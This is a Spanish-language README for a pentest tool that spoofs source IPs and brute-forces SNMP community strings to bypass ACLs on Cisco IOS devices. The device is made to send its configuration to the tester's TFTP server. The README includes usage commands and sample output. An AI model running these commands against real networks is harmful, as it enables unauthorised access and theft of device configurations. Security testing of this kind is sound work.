
Herramienta de suplantación de IP y fuerza bruta de cadenas de comunidad SNMP para evadir ACL en dispositivos Cisco IOS y exfiltrar archivos de configuración mediante TFTP.
cisco-snmp-slap utiliza la suplantación de direcciones IP para evadir una ACL que protege un servicio SNMP en un dispositivo Cisco IOS.
Normalmente, la suplantación de IP tiene un uso limitado en ataques reales, aparte de DoS. Ningún servicio TCP puede completar el handshake inicial. Los paquetes UDP son más fáciles de suplantar, pero el paquete de respuesta a menudo se envía a la dirección incorrecta, lo que dificulta recopilar cualquier información devuelta.
Sin embargo, si un atacante puede adivinar la cadena de comunidad rw de SNMP y una dirección de origen válida, puede establecer MIBs de SNMP. Uno de los usos más evidentes de esto es hacer que un servicio SNMP de Cisco envíe su archivo de configuración IOS a otro dispositivo.
Esta herramienta te permite probar una o más cadenas de comunidad contra un dispositivo Cisco desde una o más direcciones IP. Al especificar direcciones IP, puedes elegir recorrer secuencialmente o aleatoriamente un rango de direcciones de origen.
Para especificar un rango de direcciones IP de origen a comprobar, se suministran una dirección de origen inicial y una máscara IP. Cualquier bit establecido en la máscara IP se utilizará para generar direcciones IP de origen modificando la dirección de origen inicial.
Por ejemplo, si se suministra una dirección de origen 10.0.0.0 con una máscara IP de
0.0.0.255, el script explorará las direcciones de 10.0.0.0 a 10.0.0.255.
Los bits establecidos no tienen que ser secuenciales como en una máscara de subred. Por ejemplo, la
máscara 0.128.1.255 es válida y explorará los rangos 10.0,128.0-1.0-255.
Al comprobar un rango de direcciones IP de forma aleatoria o secuencial, se requiere que introduzcas la ruta a la raíz del directorio tftp. El script revisará este directorio para ver si el archivo se ha transferido correctamente.
Esta herramienta fue escrita para atacar switches de capa 3 de Cisco durante pentests, aunque pueda tener otros usos. Funciona bien contra estos dispositivos porque:
Aunque espero que los usuarios encuentren otros usos interesantes para este script y su código fuente.
En este ejemplo tomaré un dispositivo IOS simple con una lista de acceso que protege un servicio SNMP usando la cadena de comunidad 'cisco'
access-list 10 permit 10.100.100.0 0.0.0.255
snmp-server community cisco rw 10
La dirección IP de un dispositivo IOS es 10.0.0.1
El pentester tiene una dirección IP 10.0.0.2 y ha iniciado un servidor TFTP.
Si el tester sabe todo esto, usa el modo único (one shot) para obtener el archivo de configuración del dispositivo. P. ej.
./slap.py single cisco 10.0.0.2 10.100.100.100 10.0.0.1
Si el tester no conoce los detalles, podría intentar adivinar. Digamos que el tester ha hecho algo de reconocimiento y ha descubierto que todas las direcciones internas están en el rango 10.0.0.0/8.
./slap.py seqmask private 10.0.0.2 10.0.0.0 0.255.255.0 10.0.0.1 /tftproot/
Este comando buscará a través de todos los /24; el tester espera poder ahorrar tiempo asumiendo que se permitirá el acceso a una subred completa en lugar de a una sola dirección IP.
root@Athena:/home/notroot/cisco-snmp-slap# ./slap.py seqmask cisco 10.0.0.2 10.0.0.5 0.255.255.0 10.0.0.1 /tftproot/
Cisco SNMP Slap, v0.3
Darren McDonald, [email protected]
WARNING: No route found for IPv6 destination :: (no default route?)
Community String: cisco
TFTP Server IP : 10.0.0.2
Source IP: 10.0.0.5
Source Mask: 0.255.255.0
Destination IP: 10.0.0.1
TFTP Root Path: /tftproot//cisco-config.txt
10.0.0.5
10.0.1.5
10.0.2.5
< ... cut for brevity ... >
10.100.99.255
10.100.100.0
10.100.100.1
10.100.100.2
10.100.100.3
10.100.100.4
10.100.100.5
10.100.100.6
Success!
Deberías notar que el programa sale y anuncia el éxito varias direcciones IP
después de entrar en el rango 10.100.100.0/24. Esto se debe a que no es
posible determinar qué dirección de origen fue la exitosa, pero se determina que una
de las peticiones tuvo éxito después de que el archivo de configuración aparezca en el tftproot.
Dado que acabas de obtener la configuración en ejecución, ahora puedes averiguar los detalles
de la ACL por ti mismo.
En lugar de especificar una única cadena de comunidad, también puedes proporcionar una lista
de las que se deben usar. Los nombres de los modos son los mismos salvo que tienen un sufijo '_l'.
Por ejemplo, para repetir el mismo ataque usando una lista de cadenas de comunidad en list.txt, se deben usar los siguientes argumentos.
root@Athena:/home/notroot/cisco-snmp-slap# ./slap.py seqmask_l list.txt 10.0.0.2 10.0.0.5 0.255.255.0 10.0.0.1 /tftproot/
Cisco SNMP Slap, v0.3
Darren McDonald, [email protected]
WARNING: No route found for IPv6 destination :: (no default route?)
Community File: list.txt
TFTP Server IP : 10.0.0.2
Source IP: 10.0.0.5
Source Mask:0.255.255.0
Destination IP: 10.0.0.1
TFTP Root Path: /tftproot//cisco-config.txt
community strings loaded: ['private\n', 'cisco\n', 'public\n']
10.0.0.5 / private
10.0.0.5 / cisco
10.0.0.5 / public
10.0.1.5 / private
10.0.1.5 / cisco
10.0.1.5 / public
10.0.2.5 / private
10.0.2.5 / cisco
10.0.2.5 / public
10.0.3.5 / private
10.0.3.5 / cisco
10.0.3.5 / public
Ahora cada dirección IP se comprueba con cada cadena de comunidad en list.txt.
En cuanto a lenguajes de programación, Python es un lenguaje sencillo, fácil de leer y escribir, y te animo a que intentes depurar y corregir cualquier problema que encuentres y me envíes tus cambios para poder compartirlos con otros usuarios en el Github de NCC.
Pero si necesitas ayuda, puedes contactarme en [email protected]. Haré todo lo posible por ayudarte, pero debes saber que no soy desarrollador a tiempo completo (¡lo cual debería ser obvio por mi código!) y puede que no tenga tiempo inmediato para atender tu consulta.